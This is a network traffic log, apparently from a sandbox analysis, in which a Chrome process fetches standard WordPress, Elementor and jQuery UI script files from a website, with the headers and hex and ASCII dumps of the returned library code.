Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49818	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	792	OUT	GET /wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.7.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 5184 Last-Modified: Thu, 04 Aug 2022 07:37:32 GMT Connection: close Vary: Accept-Encoding ETag: "62eb773c-1440" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	5184	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 37 2e 33 20 2d 20 33 31 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 72 2c 5f 2c 61 3d 7b 7d 2c 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 65 29 7b 76 61 72 20 72 3d 6e 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 5f 3d 6e 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 5b 65 5d 28 5f 2c 5f 2e 65 78 70 6f 72 74 73 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 2c 5f 2e 65 78 70 6f 72 74 73 7d 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e Data Ascii: /! elementor-pro - v3.7.3 - 31-07-2022 /(()=>{"use strict";var e,r,_,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49819	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	784	OUT	GET /wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.6.8 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 4957 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-135d" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	4957	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 20 2d 20 76 33 2e 36 2e 38 20 2d 20 32 37 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 72 2c 5f 2c 74 2c 69 2c 61 3d 7b 7d 2c 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 65 29 7b 76 61 72 20 72 3d 6e 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 5f 3d 6e 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 5b 65 5d 28 5f 2c 5f 2e 65 78 70 6f 72 74 73 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 2c 5f 2e 65 78 70 6f 72 74 73 7d 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 2e Data Ascii: /! elementor - v3.6.8 - 27-07-2022 /(()=>{"use strict";var e,r,_,t,i,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49817	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	785	OUT	GET /wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.6.8 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 32609 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-7f61" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 20 2d 20 76 33 2e 36 2e 38 20 2d 20 32 37 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 33 35 34 5d 2c 7b 33 38 31 3a 28 65 2c 74 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 76 6f 69 64 20 30 3b 74 2e 64 65 66 61 75 6c 74 3d 28 65 2c 74 29 3d 3e 7b 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 3f 74 3a 5b 74 5d 3b 66 6f 72 28 63 6f 6e 73 74 Data Ascii: /! elementor - v3.6.8 - 27-07-2022 /(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[354],{381:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=(e,t)=>{t=Array.isArray(t)?t:[t];for(const
2025-01-15 02:37:12 UTC	16384	IN	Data Raw: 72 28 37 38 32 36 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 66 6f 72 28 76 61 72 20 61 3d 6f 28 74 29 2c 75 3d 73 2e 66 2c 63 3d 69 2e 66 2c 6c 3d 30 3b 6c 3c 61 2e 6c 65 6e 67 74 68 3b 6c 2b 2b 29 7b 76 61 72 20 66 3d 61 5b 6c 5d 3b 6e 28 65 2c 66 29 7c 7c 72 26 26 6e 28 72 2c 66 29 7c 7c 75 28 65 2c 66 2c 63 28 74 2c 66 29 29 7d 7d 7d 2c 32 35 38 35 3a 28 65 2c 74 2c 72 29 3d 3e 7b 76 61 72 20 6e 3d 72 28 35 32 38 33 29 2c 6f 3d 72 28 37 38 32 36 29 2c 69 3d 72 28 35 37 33 36 29 3b 65 2e 65 78 70 6f 72 74 73 3d 6e 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 6f 2e 66 28 65 2c 74 2c 69 28 31 2c 72 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 65 5b 74 Data Ascii: r(7826);e.exports=function(e,t,r){for(var a=o(t),u=s.f,c=i.f,l=0;l<a.length;l++){var f=a[l];n(e,f)\|\|r&&n(r,f)\|\|u(e,f,c(t,f))}}},2585:(e,t,r)=>{var n=r(5283),o=r(7826),i=r(5736);e.exports=n?function(e,t,r){return o.f(e,t,i(1,r))}:function(e,t,r){return e[t
2025-01-15 02:37:12 UTC	269	IN	Data Raw: 72 28 22 52 75 6e 74 69 6d 65 45 72 72 6f 72 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 52 75 6e 74 69 6d 65 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 69 28 65 2c 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 29 7d 2c 33 32 30 33 3a 65 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 74 65 72 6f 70 52 65 71 75 69 72 65 44 65 66 61 75 6c 74 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 2c 65 2e 65 78 70 6f 72 74 73 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 65 2e 65 78 70 6f 72 74 73 2e 64 65 66 61 75 6c 74 3d 65 2e 65 78 70 6f 72 74 73 7d 7d 2c 65 3d 3e 7b 76 61 72 20 74 3b 74 3d 36 34 31 Data Ascii: r("RuntimeError",(function(e){return function RuntimeError(t){return i(e,this,arguments)}}))},3203:e=>{e.exports=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}},e.exports.__esModule=!0,e.exports.default=e.exports}},e=>{var t;t=641

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49820	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	948	OUT	GET /wp-includes/js/jquery/ui/core.min.js?ver=1.13.1 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 20715 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-50eb" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	15956	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 33 2e 31 20 2d 20 32 30 32 32 2d 30 31 2d 32 30 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 64 61 74 61 2e 6a 73 2c 20 64 69 73 61 62 6c 65 2d 73 65 6c 65 63 74 69 6f 6e 2e 6a 73 2c 20 65 73 63 61 70 65 2d 73 65 6c 65 63 74 6f 72 2e 6a 73 2c 20 66 6f 63 75 73 61 62 6c 65 2e 6a 73 2c 20 66 6f 72 6d 2d 72 65 73 65 74 2d 6d 69 78 69 6e 2e 6a 73 2c 20 66 6f 72 6d 2e 6a 73 2c 20 69 65 2e 6a 73 2c 20 6a 71 75 65 72 79 2d 31 2d 37 2e 6a 73 2c 20 6b 65 79 63 6f 64 65 2e 6a 73 2c 20 6c 61 62 65 6c 73 2e 6a 73 2c 20 70 6c 75 67 69 6e 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 73 61 66 65 2d 61 63 74 69 76 65 2d 65 6c 65 6d 65 6e 74 2e Data Ascii: /! jQuery UI - v1.13.1 - 2022-01-20 http://jqueryui.com* Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-element.
2025-01-15 02:37:12 UTC	4759	IN	Data Raw: 73 73 28 65 2c 74 29 7d 29 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 66 66 28 74 68 69 73 2e 65 76 65 6e 74 4e 61 6d 65 73 70 61 63 65 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 77 69 64 67 65 74 46 75 6c 6c 4e 61 6d 65 29 2c 74 68 69 73 2e 77 69 64 67 65 74 28 29 2e 6f 66 66 28 74 68 69 73 2e 65 76 65 6e 74 4e 61 6d 65 73 70 61 63 65 29 2e 72 65 6d 6f 76 65 41 74 74 72 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 29 2c 74 68 69 73 2e 62 69 6e 64 69 6e 67 73 2e 6f 66 66 28 74 68 69 73 2e 65 76 65 6e 74 4e 61 6d 65 73 70 61 63 65 29 7d 2c 5f 64 65 73 74 72 6f 79 3a 78 2e 6e 6f 6f 70 2c 77 69 64 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 7d 2c 6f 70 74 69 6f 6e 3a 66 75 6e 63 74 69 Data Ascii: ss(e,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:x.noop,widget:function(){return this.element},option:functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49821	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	777	OUT	GET /wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 6475 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-194b" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	6475	IN	Data Raw: 76 61 72 20 72 75 6e 74 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 2c 65 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 3d 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6f 3d 28 6d 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3f 53 79 6d 62 6f 6c 3a 7b 7d 29 2e 69 74 65 72 61 74 6f 72 7c 7c 22 40 40 69 74 65 72 61 74 6f 72 22 2c 69 3d 6d 2e 61 73 79 6e 63 49 74 65 72 61 74 6f 72 7c 7c 22 40 40 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 2c 61 3d 6d 2e 74 6f 53 74 72 69 6e 67 54 61 67 7c 7c 22 40 40 74 6f 53 74 72 69 6e 67 54 61 67 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 72 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 Data Ascii: var runtime=function(t){"use strict";var r,e=Object.prototype,n=e.hasOwnProperty,o=(m="function"==typeof Symbol?Symbol:{}).iterator\|\|"@@iterator",i=m.asyncIterator\|\|"@@asyncIterator",a=m.toStringTag\|\|"@@toStringTag";function c(t,r,e){return Object.defineP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49825	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	782	OUT	GET /wp-includes/js/dist/hooks.min.js?ver=c6d64f2cb8f5c6bb49caca37f8828ce3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 4910 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-132e" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	4910	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 7b 64 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 72 29 6e 2e 6f 28 72 2c 65 29 26 26 21 6e 2e 6f 28 74 2c 65 29 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 5b 65 5d 7d 29 7d 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 74 29 7d 2c 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 6e Data Ascii: /! This file is auto-generated /!function(){"use strict";var n={d:function(t,r){for(var e in r)n.o(r,e)&&!n.o(t,e)&&Object.defineProperty(t,e,{enumerable:!0,get:r[e]})},o:function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},r:function(n){"un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49824	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:12 UTC	965	OUT	GET /wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.6.8 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:13 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 40477 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-9e1d" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:13 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 20 2d 20 76 33 2e 36 2e 38 20 2d 20 32 37 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 31 39 5d 2c 7b 39 32 32 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3d 6e 28 33 32 30 33 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 76 6f 69 64 20 30 3b 76 61 72 20 73 3d 69 28 6e 28 38 31 33 35 29 29 3b 63 6c 61 73 73 20 5f 64 65 66 61 75 6c 74 20 65 78 74 Data Ascii: /! elementor - v3.6.8 - 27-07-2022 /(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[819],{9220:(e,t,n)=>{"use strict";var i=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(n(8135));class _default ext
2025-01-15 02:37:13 UTC	16384	IN	Data Raw: 79 70 65 3d 22 79 6f 75 74 75 62 65 22 2c 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 3d 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 75 74 69 6c 73 2e 79 6f 75 74 75 62 65 29 2c 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 29 65 3d 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 2e 67 65 74 56 69 64 65 6f 49 44 46 72 6f 6d 55 52 4c 28 74 29 2c 74 68 69 73 2e 61 70 69 50 72 6f 76 69 64 65 72 2e 6f 6e 41 70 69 52 65 61 64 79 28 28 6e 3d 3e 7b 22 79 6f 75 74 75 62 65 22 3d 3d 3d 74 68 69 73 2e 76 69 64 65 6f 54 79 70 65 26 26 74 68 69 73 2e 70 72 65 70 61 72 65 59 54 56 69 64 65 6f 28 6e 2c 65 29 2c 22 76 69 6d 65 6f 22 3d 3d 3d 74 68 69 73 2e 76 69 64 65 6f 54 79 70 65 26 26 74 68 69 73 2e 70 72 65 70 61 72 65 56 69 6d 65 6f 56 69 64 65 6f Data Ascii: ype="youtube",this.apiProvider=elementorFrontend.utils.youtube),this.apiProvider)e=this.apiProvider.getVideoIDFromURL(t),this.apiProvider.onApiReady((n=>{"youtube"===this.videoType&&this.prepareYTVideo(n,e),"vimeo"===this.videoType&&this.prepareVimeoVideo
